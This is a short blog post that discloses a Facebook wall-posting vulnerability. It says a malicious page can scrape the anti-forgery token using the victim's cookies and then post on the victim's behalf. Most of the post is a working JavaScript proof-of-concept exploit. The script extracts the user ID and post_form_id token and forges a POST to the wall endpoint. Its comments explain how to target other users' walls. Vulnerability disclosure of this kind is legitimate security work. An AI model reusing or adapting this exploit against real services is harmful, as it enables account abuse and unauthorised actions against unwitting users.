Infinite Loop

Facebook Wall Security Vulnerability

In Facebook if a user is logged in with the “Remember Me” option an attacker can make requests on behalf of the user to make wall posts by sending him/her a URL that contains ajax java script code that will call the Facebook services and do the post on behalf of the user using his/her stored credentials in the browser cookies. Facebook actually have anticipated this attack and used a technique that generates a random hash that is used as an authentication token with every request to their services to insure that the request have been done by the user himself and is originating from the Facebook ajax java script, this token is rendered in the Facebook html and must be sent with each request or it will be ignored, but this token can be obtained by the attacker by simply requesting the page first with the user credentials (which is stored on the user machine in browser cookies), then the attacker can proceed with the attack. I’ve written a proof of concept code for this issue. This code if executed by the user it will post the “Proof of Concept” message on the user wall. You can also change the code so it can post on others walls.

<script>

xmlHttp = GetXmlHttpObject()

var url = "http://www.facebook.com"

xmlHttp.onreadystatechange=stateChanged

xmlHttp.open("GET",url,true)

xmlHttp.send(null)

function stateChanged()

{

    if (xmlHttp.readyState==4)

    {

            //here we get the current logged in user id

            var user = xmlHttp.responseText.substring(xmlHttp.responseText.indexOf('name="user" value="') + 19, xmlHttp.responseText.indexOf('"', xmlHttp.responseText.indexOf('name="user" value="') + 19))

            //then we get the token hash that must be sent with every request

            var post_form_id = xmlHttp.responseText.substring(xmlHttp.responseText.indexOf('name="post_form_id" value="') + 27, xmlHttp.responseText.indexOf('"', xmlHttp.responseText.indexOf('name="post_form_id" value="') + 27))

            var xmlHttpPost = GetXmlHttpObject()

            xmlHttpPost.open("POST", "http://www.facebook.com/ajax/wallpost_ajax.php", true)

            xmlHttpPost.setRequestHeader("Content-Type","application/x-www-form-urlencoded")

            //we will make a post to the current user wall

            //we can make posts to other users walls too

            //by changing the "to" parameter to another user ID

            xmlHttpPost.send("to=" + user + "&from=" + user + "&wall_text=Proof of Concept&post_form_id=" + post_form_id + "&post_form_id=" + post_form_id)

    }

}

function GetXmlHttpObject()

{

  //i didn't add the code to create the XHR object for firefox because

  //it doesn't work on firefox already, if you have time to test this

  //POC with other browsers and it worked please let me know

  var xmlHttp

    try

      {

      xmlHttp=new ActiveXObject("Msxml2.XMLHTTP")

      }

    catch (e)

      {

      xmlHttp=new ActiveXObject("Microsoft.XMLHTTP")

      }

  return xmlHttp

}

</script>